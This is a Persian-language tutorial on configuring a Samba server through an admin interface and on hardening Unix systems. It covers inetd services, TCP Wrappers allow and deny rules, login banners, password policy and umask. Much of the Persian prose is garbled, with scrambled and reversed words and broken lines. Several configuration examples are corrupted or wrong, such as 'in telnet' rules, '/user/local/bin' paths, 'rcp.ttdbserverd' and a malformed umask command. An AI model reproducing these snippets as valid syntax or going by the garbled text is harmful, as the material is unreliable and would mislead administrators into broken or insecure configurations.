University  ش فرضيالبته به طور پ. ردکاستفاده Samba%V قرار داده شده است.   

 
Server String :    

  
   : توان آن را نشان دادیق میطر ه به چندکند ک یه را مشخص مکله اتصال به شبيا وسیبزار و ا

 
   eth0  مثالله اتصال به طورينام وس -١
 
٢-  IP Address دوده تغکله و در يوس ار آن مح ل يين تنی و 192.168.1.1/50رات آن مث ا نوش دوده تغ ا ب ل کرات ييمح ل مث ام

192.168.1.1/255.255.255.0 
 

Interfaces  :   
 
  .ندک ی را مشخص میابين بخش محدوده دستیا

  
Security Options:   

 
  : باشدینه می گز۴ ی دارایلکند و به طور ک یمشخص م  رایابيت دستیریوش مدر
  

• ١-  Share :نندکس استفاده ی از سروی خواهند بدون رمز و نام ورودیم هک ییها ستمي سیبرا. 
  

• ٢-  User :در .  باشدیکی س دهندهین سرويرنده با ماشين سرور گيه رمز و نام ورود ماشک شود ی استفاده میحالت معمولاً در
  . استی الزامی، داشتن رمز و نام ورود،سی به سروی دسترسین حالت برایا

  
• ٣-  Server :دا    ی در ا. دی آ ی به حساب مکاربر از حالت یمجموعه ا ری به عنوان زیلکن حالت به طور یا ن حالت سرور ابت

ه يس گی سرویند با پاس تقاضاک ی میسع ام ورود  ،گر ید SMB Server رنده ب ه دست آورد و اگر ا   ی رمز و ن ار ک ن ی  را ب
  . گرددی بازمکاربر به همان حالت ،ه موجود نبودکدر شب زي نیگریا سرور دین نبود کمم

  
• ۴-  Domain :هکت انتخاب را دارد ي قابلیزمان ن حالت فقط دریا Samba ASWD )زار یقسمت  SMBA ی از بسته نرم اف

ه ل  ک اضافه یبرا هک) ا يست دوم ي ردن سرور ب ده و ی سرو ین ه دوز یس دهن ال   NT ن ند و در  فع  Samba ن حالت ی ا شده باش
Server با مراجعه به سرور NT ندک یافت می مورد نظر را دریرمز و نام ورود.   

 
Security :   

 
  .در آینده به صورت مفصل شرح خواهيم داد 

 
Encrypt Pass :   

 
  )دتوصيه ميشو(کلمات عبور را رمز نگاری ميکند و احتمال لو رفتن آنها را بسيار کاهش ميدهد 
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Up Encrypted :   

 
  }بعدا توضيح ميدهم{!!!   شودیات صرف نظر مينه از جزئین گزی ایدگيچيه علت پب

 
Unic Pass Sync :   

 
تفاده از سرو  ي  قابلی باشد ول یقابل استفاده م یه به عنوان نام ورودک موجود در شبیوترهايامپک تمام یه براک است یامن س چاپ  یت اس

را   .  شوند یامل وارد سرور نم  کقت آنها به طور يحق ررد و دي گیرا از آنها م ام معمول ب ام ورود  ی این ه ن  باشد و اگر   یم  ftp ی،نگون
   . استیالزام No body یاستفاده از نام ورود ،رديستم بگيهمان وارد شونده به سي خواهد حق چاپ را از میستم مير سیمد
 

Guest Account :   
 
ام     ی دیوترهايامپک لهي به وسیابيت دستیجاد محدودی اینه براین گزیا. هکتلف در شب مخین هاياستفاده ماش ردنکحدود م ه ن ا توجه ب گر ب

تفاده    IP محدوده   توان ازیبه طور مثال م.  باشدیو آدرس آنها م د  ک خاص اس ن ی ه در اک  ١٩٢٫١۶٨٫١٫٠/٢۵۵٫٢۵۵٫٢۵۵٫٠رد مانن
   . باشندیس میاستفاده از سرو قادر به ، باشندیم IP نیستمها در محدوده ايس هيلکحالت 

 
Host Allowed :   

 
   .ندک ی داشته باشند را مشخص میس دسترسیبه سرو  توانندیه نمک ییها وتريامپک یرده و تمامکعمل  Host Allowed ر خلافب

 
 
Host Deny  Login Options :  

  
Log Level :   

 
دون  یعنی باشد یش فرض صفر ميه به طور پکند ک یم نند را مشخصکس استفاده ی زمان از سرویک توانند در یه مک یسانکثر کحدا  ب

   .تیمحدود
 

Max Log Size:   
 
 ی م ۵٠٠٠ش فرض  ي نامحدود است و پ یمعن ند و صفر بهک تواند رشد یه تا چه اندازه مکند ک یرا مشخص م Log لیثر اندازه فاکحدا
   .باشد

 
Browse Options :   

 
ت ي فعالیارک در گروه ینندگان اصلکجستجو  ه به صورتک باشد یرندگان مرتبط با سرور ميس گیننده سطح سروکقت مشخص يدر حق

   . باشدی م٢٠ ،ن حالتیش فرض در ايپ. نندک یم
 

OS Level :   
 
ال   NMBD یس داخل یه اگر سرو  ک  باشد  ی م SMBAسرور   ازیردن قسمتکنه مربوط به فعال ین گزیا.  باشدی سه حالت میاراد فع

را   انتخابیننده اصلکجستجو بوده و  روه  یشده ب ه باشد    NMBD یارک  گ رار گرفت ه  ،ق ه طور معمول گز   . دی  آیار م ک  ب ورد  یب ه م  ن
   .است Auto انتخاب

 
Preferred Master :   

 
وان جستجو   ک دهد یرا م ن اجازهیا ،NMBD سینه به سروین گزیا ه عن ده اصل  ک ه ب ب ینن ال شود و پ   یه محل ک در ش  ش فرض آن ي فع

Yes باشدیفعال م ای .   
 

Local Master :   
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ش ينه پ یگز. ندکجاد ی ایه بزرگ جهانک را در شبیست درختيجاد لیس ایه سروکشود  یاجازه داده م NMBD سینه به سروین گزیر اد

   . باشدیم Auto فرض
 
 
Domain Master  

 
 

Wins Options:   
 

رار م   ین آن در ايدوما یآن و  IP Address ،هکدر شب Wins در صورت وجود سرور ال  ش فرض يرد و در حالت پ  ي  گین محل ق  یخ
   . باشدیم

 
Wins Server:   

 
ده در يس گیوتر سرو يامپک  یک ه فقط ک ی زمانیبرا ب  رن رار دارد م  کش وان ا یه ق ال  ین سرو ی  ت  NMBD ن حالت ی در ا. ردک س را فع

Service  درSMBA  به عنوان Wins شودیفعال م .   
 

Wins Support:   
  .مکانات ویندوز حمایت ميکند از ا
 

 ی،ن صفحه اصل  ی در ا.  ثبت شوند،راتييرده تا تغک يکلکرا  Commit Change نهی گز،لزوم  موردینه هایه گزيلکردن کپس از پر 
ه ساختار      یسرورها  ه درک وجود دارند  Print Option و Tuning Option یز به نامهايگر نید Option دو ا توجه ب  یل ک مختلف ب
  . باشدی در آنها نمیرييچگونه تغي لازم به ه،نه هاین گزی در حالت وجود ایول ا نداشته باشندی توانند وجود داشته یس مکونيل

  
  

   Shares :سوم  گزينه
  

ا سه گز  ي ن منو نیدر ا) کی اشترایجاد پوشه های ایمنو ه اصل  یز ب رو م   Create Share و Chose Share، Delete Share ین  یروب
   .میشو
 

Chose Share : سیسرو  انتخابیبرا Shareردي گیجاد شده مورد استفاده قرار میه قبلاً اک ی.   
 

Delete Share : رودیار مکجاد شده به یه قبلاً اک یسیردن سروک ک پایبرا .   
 

Create Share : رودیار مکد به یس جدیجاد سرویا یبرا .   
 
چه اول  یر دری در زیگریچه دیار درکن یپس از ا. مي زنیرا م Create نهیه و گزردک س خود انتخابی سروی را برای نام، شروعیبرا
   :ی اصلی قسمتهایه داراکشده  جادیا

 
Base Option :   

 
   . شودیش داده میرنده نمايس گیوتر سرويامپکدر  جاد شدهیس این سرویه از اک یامن

 
Comment :   

 
   .ردي گیگران قرار میار ديس در اختین سرویه با اک  سروری است در حافظه جانبیا ان پوشهکفهرست و م

  
  

Path  
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Security Option :   

 
   .ح داده شده استيتوض Global بلاً در قسمتق

 
Guest Account :   

 
   .ريا خی باشند یس مین سروی ایبر رو ا نوشتن اطلاعاتیرندگان قادر به ارسال و يس گیا سرویه آکند ک یشخص مم

 
Read Only :   

 
   .ريا خیا ورود بدون رمز فعال باشد یهمان يم سیا سرویه آکند ک یمشخص م

 
Guest OK :   

 
   .ح داده شده استيتوض Global بلاً در قسمتق

 
Hosts Allow :   

 
   .شده است ح دادهيتوض Global قبلاً در قسمت

 
Hosts Deny  

 
Browse Option :   

 
دگان در فهرس  يگ سیا سرویه آکند ک یمشخص م شاهده  ین سرو ی شده خود ا   Share ترن د در ساختار  ک س را م  آن یدرخت  رده و بتوانن

   .ريا خینند کت کحر
 
Browseable  

 
Miscellaneous Option :   

 
   .مينکا روشن یامل خاموش کس را به طور یه سروکرده کجاد یان را اکن امینه ایگز نیا

 
Available :   

  
  .يم ميکنيم توانی های مورد نظر را در اینجا تنظ

 
و ن ی در ا .مين ک ی م يک لکرا  Commit Change نهینه ها گزیه گزيلکل يمکپس از ت ا  یز گزي ن من ه ه ح داده يه توض ک  وجود داشت   یین

ه روش نصب و پ   ک باشد یس مکنوي سرور لیمات ساختار اصليبه تنظ نه ها مربوطین گزیثر اکا. نشد سته ب د يکه واب عوامل   گر ی دیربن
   . باشدیم س مناسبین سروی ای راه اندازی برایش فرض همگياست و به طور پستم يمربوط به س

 
 

  : )سرويس چاپ(Printers  گزينه چهارم
 

 ییهاچاپگر از  یکیا انتخاب یس چاپ و ی سروید برای جدیه با انتخاب نامکنه وجود دارد یز سه گزيمنو ن نیدر ا ،Share  یمانند منو
  .مينک یرا انتخاب م Change ای و Create ینه هایب گزيب شده اند به ترتستم عامل نصي سیه قبلاً بر روک

 
اوت  ی  باشند با ایم Share نهی گزیها ه منوياملاً شبک ظاهر شده یها ه منويلک ه یه گزک ن تف ا وجود دارد    Printable ن ه اجازه  ک در آنه

  . دهدیرندگان چاپ ميس گیم را به سرويمستقچاپ 
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  ) :سيستم ضعيتو ( Statusگزينه پنجم
 
شاهده م   یتهايه وضعيلک ،ن منویدر ا و ی ن در ايهمچن .  شود ی در حال اجرا م ه روشن     ن من ادر ب  یزک س مریردن سرو ک ا خاموش  ی ق

SMBD سیسرو ریو ز NMBD ان   . باشد یره شده در سرور لازم م  يرات ذخييجاد تغی ایبرا ارکن یه اکم ي باشیم ه روز رس ن ی  ایب
  .رديگ ی انجام می و دسته ای زمانيکدر دو حالت اتومات Refresh نهیله گزيوس صفحه به

 
  ) : نمايش فايل پيکربندی( View گزينه ششم

 
ا  یش درآمده و برای دهد به نمایس را نشان می سروی اصلیه پارامترهاک SMBD.Conf لازم در ه خطوطيلک ،ن منویدر ا ه ي لکش ینم

  . شودیاستفاده م Full View نهیل از گزین فایخطوط ا
 
 
  ) :رمز ورود ( Password نه هفتمیگز
 
را ک  Server Password Management ین منو از دو بخش اصل یا تفاده   يامپک  خود  ی از رویر رمز ورود يي تغ یه ب وتر سرور اس
را ک  Client/Server Password Management  شود ویم اد رمز ورود  یر رمز ورود و ا يي  تغیه ب را یج دگان يس گی سرو ی ب  رن

SMB شودیاستفاده م .    
  
ا سرو  ک  Restart امل ک بار به طور یک Status ید آن را در منویامل باک یربنديکه پس از پکد توجه داشت یبا ه طور   یرد ت امل  کس ب

  .. شودیراه انداز
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   :Unixامنيت در 
  

. به طوریکه بيشتر سرویسهای موجود روی شبکه توسط آن ارائه می شود    . در تاریخ اینترنت سيستمهای یونيکس سابقه بيشتری دارند         
ا  . وقتی هکر و هک کردن به صورت مشکلی روی اینترنت ظاهر شد،سيستمهای یونيکس بيشترین توجه را به سوی خود جلب کردند                       ت

درستی پيکر بندی ه گيری از هک شدن ب   امروز استفاده از سيستمهای یونيکس روی اینترنت متداول و رایج است و لازم است برای جلو               
  .شود 

  
ه شود                  ادی     . در این فصل سعی شده است نظریه های اساسی امنيتی برای ساخت و امن ساختن سيستم یونيکس ارائ واع زی ه ان ا ک از آنج

شود در               ه آن اشاره مي ن فصل ب ه در ای ل و دستوراتی ک ق فای سخه های    از سيستمهای یونيکس وجود دارند ممکن است محل دقي ه ن هم
  .ارائه شود   Sun Solaris , Linuxدر این فصل سعی شده است تا اطلاعات صحيحی برای . یونيکس درست نباشد 

  
  : تنظيم سيستم 

  
شود،دارای آسيب             ونيکس ساخته مي ذیری  به طور معمول وقتی سيستم ی ایی است      پ تفاده از برنام        . ه ا اس ا ب ر در     م های مک  ه  ام ل و تغيي

رین معضلات موجود اشاره و               . بندی می توان آسيب پذیریهای اوليه را تصحيح کرد          فایلهای پيکر  ه بعضی از مهمت در بخشهای بعدی ب
  .چگونگی تصحيح آنها تشریح شده است 

  
  Start Upفايلهای 

  
ونيکس چه    بسته ب.  خود را به هنگام راه اندازی پيکربندی می کند Startup .های ل سيستمهای یونيکس با استفاده از فای سخه ی ه اینکه ن

شود و  etc/rc2.d/ در Startupهای ل  فایSolarisدر سيستم عامل  .  در مکانهای مختلف قرار می گيرند        Startupباشد فایلهای     پيدا مي
  . خواهيد یافت etc/rc.d/rc2.d/ آنها را در Linuxدر سيستم عامل 

  
شود           Startupهای   ل  در فای  دازی مي دادی سرویس راه ان ن سرویس       . تع دادی از ای ا     تع د شبکه  ( ه ستمی و   ل نصب فای   ، همانن های سي

سهای دیگر   . برای عملکرد سيستم لازم است به همين دليل باید به آنها اجازه داده شود فعال بمانند     ) شروع واقعه نگاری     در مقابل سروی
ه راحتی     جلوگيری از راه اندازی سرویسبرای. ضروری نيست و بسته به روش استفاده از سيستم نباید راه اندازی شوند      ها می توان ب

شود  "K"و یا  ''S"م جدید فایل با ا تا ن مطمئن شوید. نام فایل را عوض کرد  ای    .  شروع ن رار دادن علامت راهنم ل     " . "ق در اسم فای
د                 ( خوب کار می کند      د مخفی می کن ل را از دی ه عم     . و علاوه بر این فای ایلی ک ا ف ابراین ب شود     بن تباه نمي اتی است اش اگر سرویس   ). لي

  .درآینده هم لازم نميشود می توان آن فایل را حذف کرد 
  

  : راه اندازی ميشوند عبارتند از Startupهای ل هایی که عموما توسط فای سرویس
  

• Send Mail 
• Routed 
• NFS 
• RPC 
• Web Service 
• Inetd 
• NTP 

 
د  ي را تع سرویسهای غير ضروری Startupبا مراجعه به فایل      ه         . ين کني د را مطالع ر ضروری بخش بع سهای غي رای شناسایی سروی ب

  .کنيد 
  

  :سرويسهای مجاز 
  

ا دارد               انتخاب سرویس  تفاده از آنه ه چگونگی اس ستگی ب شود ب ار داده مي ا اجازه ک ه آنه ونيکس ب ن   . هایی که روی سيستم ی برخی از ای
ا توسط فای سرویس ای ل ه شوStartupه دازی مي ق  راه ان ز از طری ا ني ا برخی از آنه ا فایInetdند ام ای ل  و ب  etc/Inetd.conf/ه

  . پيکربندی ميشوند 
  

تاندارد          ل اس وای فای ه آورده شده است     Inetd.confدر اینجا محت رای نمون ا علامت      سطر .  ب ه ب ایی ک ط نقش      #ه  شروع شده است فق
  .توضيحی دارند و در عملکرد فایل نقشی ندارند 
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  ) این فایل صرف نظر کردیم محتویات های این فایل از آوردن همه Optionا و  هطولانی بودن گزینهبه خاطر ( 
  
  

 
# 
#ident  "@(#)Inetd.conf 1.44  99/11/25 SMI"  /*svr4.0 1.5 */ 
# 
# 
#Configuration File For Inetd(LM). See Inted.conf(4). 
# 
#To ReConfigure The Runing Inetd Prossec, Edit This File , Then 
#Bcnd the Inetd Prossec a SIGHUP. 
# 
#Syntex for socket-based internet services : 
#<service_name><socket_type><proto><flag><user><service_pathname> 
# 
#Syntex for TLI-based internet services: 
#<service_name>TLI<proto><Flag><user><service_pathname> 
# 
#IPV6 and intetd.conf 
# 
#....... 

 
ل ه سرویس Inetd.conf فای ر آنک ر  علاوه ب ایی نظي دTelnet و FTPه ی کن رل م سهای  ،  را کنت م تحت   RPCبرخی سروی را ه

رد   ی گي رول م ل .کنت ود بط  Inetd.confلازم است فای ایش ش ی و آزم ت برس ه دق سهای ضروری   و ب ط سروی ویم فق ئن ش ه مطم ریک
  : توسط دستور زیر مجددا راه اندازی شود Inetdکر بندی شد لازم است پس از آنکه فایل به درستی پي. پيکربندی شده است 

 
Kill  -HUP <Inetd Process Number> 

  
د      Inetd باعث ميشود " Kill -HUP "عبارت  از خوانی کن دی را ب ل پيکربن سياری از سرویس   .  فای ستم      لازم است ب ه توسط سي ا ک ه

  ش یونيکس به صورت پيش فرض پيکربندی شده است خامو
  :ها عبارتند از  این سرویس. شوند 

  
• Uccp 

 
• TFTP 

 
• Finger 

 
• Systat 

 
• NetStat 

 
• Echo 

 
• Discard 

 
• Chargen 
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• Rusersd 
 

• Rquotad 
 

• Sprayd 
 

• Walld 
 

• Rexd 
 

• Routed 
 

سهای   تفاده نمی  Day Timeو   SNMPDعلاوه بر این اگر از سروی م خاموش شوند        اس ا ه  توسط بعضی از   Day Time. شود آنه
دی SNMPDاستفاده ميشود و )  Time Syncronization( مان کننده زمان زهمهای سيستم اربرد دارد   ری برای م ستم ک الا  . ت سي احتم

ور     .  در حالت عادی روشن هستند   Telnet و FTP سرویسهای Inetd.confتوجه دارید که در فایل  ن دو پروتکل امکان عب  Userای
IDو  Passwordرای محافظت     . شبکه فراهم ميکنند  را به صورت واضح از طریق ه ب سخه  Passwordاین امکان وجود دارد ک  از ن

تفاده شود        ا اس ن پروتکل ه شود روی   . رمز شده ای تفاده شود    ) SSH  )Secure Shell از Telnetتوصيه مي سخهای   . اس برخی از ن
SSH وجود دارد که برای انتقال فایل از برنامه SCP  )Secure Copy (  می کند استفاده.  

  
NFS ( Network File System ) 

 
ازی نيست سرویس      . استفاده کند NFSممکن است که سازمان شما از  ه آن ني د    NFSاما اگر ب ستم خاموش کني  NFSاز .  را روی سي

ه ر     امپيوتر ب ک ک ستمی از روی ی ل سي صب فای رای ن شود   ب تفاده مي ر اس امپيوتر دیگ ا   وی ک بکه ه ی در ش ای اساس ی از نيازه ی یک
  . کامپيوتری به اشتراک گذاشتن فایل و انتقال آن به کامپيوتر دیگر است 

  
درستی پيکر بندی نشود این امکان هست  ه ب  NFS اگر  . استNFSم های به وجود آمده که عمومی ترین آنها زبرای این منظور مکاني

  . را ویرایش کنيد  etc/dfs/dfstab/باید فایل   NFSست برای پيکر بندی در. که برخی از افراد به فایلهای حساس دسترسی پيدا کنند 
   

   DMZسيستم 
  

وان در     ونيکس می ت وان   DMZاز سيستم ی ه عن رد     DMZو سرور    Web Server , SMTP Server ب تفاده ک ن صورت   .اس در ای
ن   .کربندی شود لازم است این سيستم نسبت به حالتی که فقط به صورت داخلی استفاده می شود با امنيت بيشتری پي         احتمال اینکه روی ای

وان هر دوی ا   کم است نياز شود   NFS و RPCقبيل سيستمها به سرویسهای  ل      ن سرویس ی بنابراین می ت ر فای ا تغيي ا را ب   Startupه
  .گزاری کرد  حذف یا بار

  
  سرور و کامپيوتر روميزی 

  
ه صورت سي م ب ه صورت سرور و ه م ب ونيکس ه ا از ی ازمان ه زبرخی از س ای رومي د سی استم ه ه . تفاده می کنن ونيکس ب ی ی وقت

ه         دی شود ک ه ای پيکر بن ه گون د ب د    X Windowsصورت سيستم روميزی استفاده ميشود بای ستم  . را اجرا کن تفاده  Solarisدر سي  اس
ن  . ) فاده ميشود به صورت گرافيکی است Desktopاست که برای کنترل  RPC یک برنامه Tooltak. ( هم لازم است   Tooltakاز ای

ونيکس    . لازم نيست    DNSبه طریق مشابه روی کامپيوتر روميزی هم سرویس  . ها روی سرور لازم نيست  سرویس ستم ی اگر از سي
  .استفاده ميشود لازم است برای سرور و کامپيوتر روميزی از دو پيکربندی متفاوت استفاده کنيد 

  
برای از کار انداختن سطر زیر را از حالت .  کنترل ميشود Inetd.conf از طریق فایل   tooltalk برنامه   سروی سيستم سولاری  : توجه  

  .توضيحی خارج کنيد 
  

" 10083/1 til rcp/tcp wait root /usr/dt/bin/rcp.ttdbserverd 
                                                  /user/dt/bin/rcp.ttdbserverd. " 

  
 TCP Wrappersاستفاده از 
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ر از  شتر از      Telnet و FTPاگ ت بي رای امني د ب ی تواني د م ی کني تفاده م وان آن را از  (  TCP Wrappers اس ی ت ه م ک
security/pup/org.porcupine.ftp://FTP  کلمه . ) دانلود کنيد استفاده کنيدsWrapp ای پو اندن و مخفی کردن است      به معن ه  . ش ب
د     Telnetو   FTPهای یسوبا پوشاندن سر  TCP Wrappersهمين دليل  ه  . کنترل دسترسی و واقعه نگاری بيشتر را فراهم می کن ب

ه صورت    Telnet و  FTP های   بگونه ای اصلاح شود که سطر Inetd.conf لازم است فایل TCP Wrappersمنظور استفاده از  ب
   :زیر باشد

 
FTP System  TCP  FTP  nowait root /user/local/bin/tcpd  /user/sbin/in.fttpd 
Telnet System  TCP  nowait root    /user/local/bin/tcpd  /user/sbin/in.telnetd 

 
طر ستم            س ه سي د ب عی کن سی س ت ک ر وق شود ه ث مي وق باع دی ف ای پيکربن ا   Telnetه د FTPی رویس   Inetd کن  TCPس

Wrappers(tcpd)   را فراخوانی کند.  
  

  IMAPو   Pop3روی سرویسهای دیگر مانند   FTPو  Telnet می توان همانند سرویسهای  TCP Wrappersاز : توجه  •
  های فوق تغييرات مناسب لازم است  البته همانند سطر. هم استفاده کرد 

  
TCP Wrappers  ،  خانگی خاص را به سرویس قادر است دسترسی شبکه ها و کامپيوترهای Telnet   وFTP    ا اجازه د ی  مسدود کن

د از  ل فای. صادر کند  آن را ه   . etc/hosts.allow/و   etc/hosts.deny/: هایی که برای این پيکر بندی استفاده ميشوند عبارتن در ادام
  .ها آمده است ل مثالی از این فای

  
  :می باشد  TCP Wrappersهای پيکر بندی ل فایلهای زیر مثالی از فای

  
Hosts.allow 
#Allow telnet frommy internet network (10.1.1.x) 
in telnet 10.1.1.0/255.255.255.0 
#Allow FTP from the world  
in FTPd:0.0.0.0/0.0.0.0 
Hosts.deny 
#Deny telnet from anywhere else 
in telnet 0.0.0.0/0.0.0.0 

 
ل  دا فای ابی hosts.allowابت س از آن  ارزی شود و پ ستم .  Hosts.deny مي ام سي دا تم ابراین ابت تفاده از   بن ه اس از ب ه مج ایی را ک ه

  .ممنوع کنيد   hosts.denyسرویسهای مختلف هستند را پيکربندی کنيد و پس از آن هر چيز دیگری را در 
  

م تغ  لازم است: توجه  • ا    يدر پيکر بندی واقعه نگاری ه د ت ی دهي ستم ثبت       TCP Wrappersيرات د اطلاعات را روی سي بتوان
  .در ادامه خواهيد دید لوگ فايل ها نحوه این تغييرات را در بخش . کند 

  
  
  

  فايل های پيکربندی سيستم 
  
  

خطار دهنده  دامنه این تغييرات از پيام های ا      . های پيکربندی سيستم می توان امنيت کلی سيستم را افزایش داد            ل  با اعمال تغييراتی در فای    
ام است               ی سازمان مطابقت                  . تا حفاظت در برابر سر ریز شدن بافر قابل انج ا سياست های امنيت د ب دی بای ری در پيکربن ام هر تغيي انج

  . علاوه بر این بخاطر داشته باشيد مکان قرارگيری فایلهای پيکر بندی در نسخه های مختلف یونيکس با هم فرق دارد . داشته باشد 
  

   Bannersی اخطاری يا پيام ها
  
شود              Loginقبل از آنکه به کاربر اجازه ورود یا          ، استفاده از پيام های اخطاری     با ایش داده مي رای او نم وقی ب سه حق .  داده شود یک جل

  .زبان پيام های اخطاری باید همان زبانی باشد که بخش حقوقی سازمان تصویب کرده است 
  

انی    . می باشد   Massage of the dayمخفف عبارت   Motdنام فایل . شده است ذخيره   etc/motd/ در Loginپيام  ام زم ن پي اما ای
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شود      . نمایش داده ميشود که کاربری برای ورود به سيستم اقدام کرده باشد              ایش داده نمي اربر     . لذا قبل از آن نم ل از اینکه ک لازم است قب
  .ود وارد شود اکثر تذکرات حقوقی برایش نمایش داده ش

  
شود                          ه آن اشاره مي ا ب ه در اینج اربر روشی وجود دارد ک ل از ورود ک ام قب ایش پي ستم    . به منظور نم ل از ورود در سي ذکرات لازم قب ت

Solaris   در/etc/Default/telnet   می توان برای. ذخيره شده استFTP    رد ا اضافه   .  etc/Default/ftpd/پيام اخطاری ایجاد ک ب
  . توان این پيام اخطار را ایجاد کرد کردن سطر زیر می

  
BANNER="\n\n<Enter Your Lagal Massage Here\n\n" 

 
ایش         . دلالت بر سطر جدید دارد       " n  "در سطر فوق   اما شما می توانيد از کاراکتر های کنترلی مورد نظر خودتان استفاده کنيد تا پيام نم

  . داده شود 
  

ستم   ل    Linuxدر سي اری     etc/issue.net/و   etc/issue/از دو فای ام های اختي رای پي شود     Telnet ب تفاده مي ل  . اس رای   issue فای ب
دام       issue.netترمينال هایی که به طور مستقيم وصل شده اند مورد استفاده قرار می گيرند و فایل  ق شبکه اق ه شخص از طری زمانی ک

شود     Telnetبه  تفاده مي رایش ف  . می کند اس فانه وی ام های اخطاری نمی شود           متاس اد پي ذکور باعث ایج ل های م ه      .ای ار ک چون هر ب
شود                 .  شود این فایل ها نيز مجددا ایجاد ميشوند          راه اندازی مجدد  کامپيوتر   ل مي ن فای اد ای اما می توان اسکریپت راه اندازی که باعث ایج

د    etc/rc.d/rc.local/ در اسکریپت راه اندازی      issue.net و   issue فایل های    .را اصلاح کنيد     اد مجدد     .  قرار دارن رای اینکه از ایج ب
  .این فایل ها جلوگيری شود سطر های زیر را از حالت توضيحی خارج کنيد 

  
#This will overwrite /etc/issue at every boot so. make any change you  
#want to make to /etc/issue here or you will lose them when you reboot . 
echo "1">/etc/issue 
echo "2">>/etc/issue 
echo"kernel $(uname -r) m $a $SMP$ (uname -m)">>/etc/issue 

 
  .را با متن حقوقی مناسب ویرایش نمایيد  etc/issue.net/ و etc/issue/ی  ایل هابعد از انجام این کار می توانيد ف

  
  Passwordتنظيم 

 
  :ریت صحيح کلمه عبور سه مرحله وجود دارد ی منظور مددر سيستم یونيکس به

  
  تنظيم درست نيازهای کلمه عبور •
  ممانعت از ورود بدون کلمه عبور  •
  ایجاد کلمه عبور مناسب بطوریکه نيازها را در بر گيرد  •

  
  :تنظيم درست نيازهای کلمه عبور 

  
رایش یک      ا وی ه ب شود       طول کلمه عبور و عمر آن از جمله نيازهایی است ک ين مي ونيکس تعي ستم ی دی در سي ل پيکربن    Solarisدر . فای

ی سازمان      این فایل دارای سطر. قرار دارد   etc/defualt/passwd/این فایل در  ق سياست های امنيت ان   های زیر می باشد و بر طب ت
  .ویرایش می گردد 

  
#ident   "@(#)passwd.dfl   1.3     92107114 SMI" 
MaxWeeks=7 
MinWeeks=1 
Passlength=8 

 
ه          MinWeeksو   MaxWeeks که جلوه یاعدادتوجه کنيد  ر حسب هفت ور را ب ه عب قرار می گيرند حداقل و حداکثر طول عمر کلم

د      Passlength بيان می کنند و عددی که جلوی  ان می کن اراکتر بي ستم  . قرار می گيرد طول کلمه عبور را بر حسب ک   Linuxدر سي
ال     سطر. قرار داده شده است   etc/Login.defs/ه عبور در فایل نيازهای کلم ل اعم های زیر که مربوط به این فایل است تنظيمات قاب

  .را نشان می دهد 
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#Password Againg Controls: 
# 
#PASS_MAX_DAYS   45   Maximum number of days password may be used . 
#PASS_MIN_DAY       1    Minimum number of days allowed between password Changes . 
#PASS_MIN_LEN       8     Minimum acceptable password Length . 
#PASS_WARN_AGE   7     Number of days worning given heforc a password Expires . 

 
ه است    Solarisسب روز است در حالی که در  حداقل و حداکثر طول عمر بر حLinuxبه خاطر داشته باشيد در سيستم  . بر حسب هفت

Linux   به شما این اختيار را نيز ميدهد که تعداد روزهای باقيمانده تا باطل شدن کلمه عبور به اطلاع کاربر رسانده شود .  
  

  :ممانعت از ورود بدون کلمه عبور 
  

ستمهای خاص وارد   به کاربر امکان  rsh , rexec , rloginبرنامه هایی از قبيل   ميدهد بدون آنکه مجددا کلمه عبور را وارد کند از سي
ه               هاما این کار خوبی نيست چون م      . سيستم دیگر شود     وق ب ه های ف ق برنام د از طری د می توان وذ کن ستم نف ه یک سي اجمی که توانسته ب

سهای  . سيستمهای دیگر دست پيدا کند  ل    rsh , rexec , rloginبرای رفع این مشکل اولا باید سروی اک    etc/Inetd.conf/را از فای پ
  . را پيدا کرده و آنها را حذف کنيد   rhostو هر فایلی با پسوند  etc/Host.equiv/ کنيد و ثانيا فایل 

  
  

  :ايجاد کلمه عبور مناسب بطوريکه نيازها را در بر گيرد 
  

وگيری شود      بهترین راه بهبود امنيت سيستم آن است که از انتخاب کلمه عب           اربران جل ط      . ور نامناسب توسط ک ن اواخر فق ا ای فانه ت متاس
ته است    ود داش ونيکس وج ستم ی ار در سي ن ک ام ای رای انج د راه ب ستم . چن رای سي ل   Linuxب ایی از قبي ه ه  و   Npasswdبرنام

Passwd+  وجود دارد اما برای Solaris  وی را        با استفاده از این برنام . برنامه ای وجود ندارد ور ق ه عب د نيازهای کلم ا می تواني ه ه
  .رتان انتخاب کند ظاین برنامه ها کاربر را مجبور می کند تا کلمه عبور را در جهت برآورده شده قواعد مورد ن. تعيين کنيد 

  
ر است  داوراز ابتدا و به طور پيش فرض از کلمه عبور قدرتمندی برخ   HPUNبرخی از نسخه های یونيکس همانند : توجه  •

  .در این نسخه اگر در هنگام ورود اشتباهات متعدد رخ دهد اکانت شما قفل ميشود . 
  
  
  

  کنترل دسترسی به فايل 
  

شود     در سيستم یونيکس دسترسی به فایلها توسط مجموعه ای از مجوز        رل مي ا کنت از خواندن،نوشتن و اجرای       . ه د امتي اربر می توان ک
ند     مالک یک فای. فایل را داشته باشد  ه باش ا هم روه ی ل توسط دستور       . ل ممکن است یک نفر،یک گ   Chmodعوض کردن مجوز فای

ه                                اگر چه کاربر می تواند فایل     . انجام ميشود    ن اجازه ب ر است ای ا بهت ه باشد ام دن و نوشتن توسط هم ل خوان ه قاب د ک اد کن هایی را ایج
سد  هر کاربری می تواند روی سيستم این فایله   . کاربر داده نشود     ه یک      . ا را بخواند و یا بنوی وذگری ب ابراین اگر نف د   Userو بن دا کن  پي

  .قادر به خواندن و نوشتن خواهد بود 
م           ناز آنجا که متقاعد کرد     ذا قصد داری  همه کاربران به اینکه وقتی فایل را ایجاد کرده دسترسی به آن را عوض کنند کار مشکلی است ل

ارامتر     . که به هنگام ایجاد فایل دسترسی به آن به صورت خودکار تنظيم شود  م پيش فرضی را ایجاد کنيم      زمکاني ا پ ار ب ن ک   Umaskای
ام است     ل انج ل     Solarisدر . قاب ذکور در فای ارامتر م رار دارد    etc/profile/در    Linuxو در   etc/default/login/پ دستور   .ق

  :بکار رفته به صورت زیر است 
  

Umask 700 <Path File> 
 
يش ف       ارقامی که بعد از دستور آمده است معرف اجازه ای ا            شود           رست که به طور پ شود داده مي ه ساخته مي ایی ک ه فایله از سمت   .ض ب

م سوم       . چپ اولين رقم معرف اجازه ای است که به مالک فایل داده ميشود   شود و رق روه داده مي ه گ ه ب رقم دوم معرف اجازه ای است ک
ين عدد  . ه به همه داده ميشود معرف اجازه ای است ک ال نمی           7در مثال فوق چون اول ل محدودیتی اعم راین روی مالک فای ا ب است بن

